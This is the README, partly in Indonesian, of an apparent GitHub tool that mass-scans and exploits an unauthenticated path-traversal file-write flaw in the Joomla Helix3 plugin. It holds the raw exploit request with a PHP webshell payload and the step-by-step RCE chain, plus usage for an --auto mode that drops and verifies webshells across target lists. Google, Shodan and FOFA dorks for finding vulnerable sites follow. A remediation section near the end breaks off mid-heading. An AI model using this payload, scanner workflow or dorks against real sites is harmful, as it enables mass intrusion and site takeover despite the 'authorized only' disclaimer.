CVE-2026-49049 — Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner

Mass scanner / verifier for CVE-2026-49049: unauthenticated AJAX handler in the Helix3 Framework plugin for Joomla (v1.0 – 3.1.0, patched in 3.1.1+).

Authorized testing only. Use only on systems you own or have written permission to test.

---

Table of Contents

• Vulnerability Overview
• RCE Chain
• Installation
• Cara Penggunaan (Usage)
• Example Output
• Reconnaissance Dorks
• Cara Fix (Remediation)
• Project Structure
• Contributing
• References
• Disclaimer

---

Vulnerability Overview

Handler onAjaxHelix3() in plugins/ajax/helix3/helix3.php is reachable via Joomla com_ajax without authentication / CSRF token:

POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>

Action	Impact	Versions
save	Arbitrary JSON file write + path traversal	1.0 – 3.1.0
remove	Arbitrary file delete (no extension/path restriction)	1.0 – 3.1.0
import	Overwrite template params in DB (custom_js unescaped → XSS/defacement)	v3.x only

Helix3 Version	save / remove	import	Status
1.0 – 2.x	Vulnerable	Not present	Vulnerable
3.0 – 3.1.0	Vulnerable	Vulnerable	Vulnerable
3.1.1+	Patched	Patched	Safe

---

RCE Chain

Active mass-exploitation in the wild often drops a double-extension webshell:

1. Detect Helix3 + version < 3.1.1
2. save with layoutName=../../up.php + PHP webshell content
3. Save appends .json → up.php.json lands in web root
4. Apache AddHandler multi-extension executes the .php token
5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK

Detect Helix3
    → POST com_ajax?plugin=helix3 (action=save, traversal)
    → up.php.json written
    → GET up.php.json?cmd=id
    → uid=33(www-data)

---

Installation

git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

Requirements: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.

---

Cara Penggunaan (Usage)

1. Siapkan target

Edit targets.txt — satu URL / host per baris (# = komentar). Path Joomla di-retain:

# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. Scan read-only (deteksi saja)

Tidak men-drop webshell. Cek version + probe save / remove / import:

python3 scan.py -f targets.txt --scan -o results.txt

3. Auto: detect + drop webshell + verify RCE

python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. Single target

python3 scan.py -t https://target.tld/joomla/ --auto -c "id"

5. Opsi lanjutan

# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep

# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080

Flags penting

Flag	Deskripsi
-f / --file	File list target (default: targets.txt jika -t absen)
-t / --target	Single target URL
--scan	Read-only detect
--auto	Detect + RCE verify (default)
-c / --cmd	Command verify (default: id)
-o / --output	Result file — hanya target VULN / SHELL_OK
--json	Structured JSON report
--keep	Jangan auto-remove webshell setelah verify
--threads	Concurrent workers (default: 15)
--timeout	HTTP timeout detik (default: 15)

Warning: Mode --auto mencoba menulis webshell via path traversal. Default: webshell dihapus setelah verify. Gunakan --keep hanya untuk demo authorized.

---

Example Output

Terminal menampilkan semua status (progress). results.txt hanya berisi yang vuln:

[v] CVE-2026-49049 SHELL OK  https://target.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell)         https://target.tld  Helix3 3.0.2  save=Y remove=Y import=Y

Label lain (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) hanya di terminal, tidak masuk results.txt.

---

Reconnaissance Dorks

Gunakan dork di bawah untuk menemukan aset Helix3 / Joomla yang berpotensi terdampak. Hanya scan target yang diizinkan.

Google

inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

Manual fingerprint (setelah dapat host)

# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version

# Unauth save probe (authorized only)
curl -sk -X POST \
  'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

---

Cara Fix (Remediation)

1. Patch segera (wajib)

Update System – Helix3 Framework dan Helix3 – Ajax plugin ke 3.1.1 atau lebih baru (disarankan 3.1.2).

• Joomla backend → System → Update / Extensions
• Atau unduh paket resmi dari JoomShaper dan install manual

2. Jika sudah di-compromise / deface

Update tidak membersihkan payload yang sudah masuk database.

1. Backend → Site Template Styles → template Helix3 aktif
2. Buka Custom Code — hapus script asing di Custom JavaScript / CSS / Before Head
3. Cek tabel #__template_styles kolom params untuk custom_js / custom_css injected
4. Hapus file mencurigakan di web root / templates / tmp / media:
   • up.php.json, cox.json, *.php.json, webshell lain
5. Rotate credentials admin, review user accounts, audit cron / scheduled tasks

Tanda compromise umum: defacement "Hacked by AntonKill" / "trenggalek6etar", inject custom_js, file JSON tak dikenal.

3. Hardening (defense in depth)

Apache — jangan pakai AddHandler multi-ext; gunakan:

<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Nginx: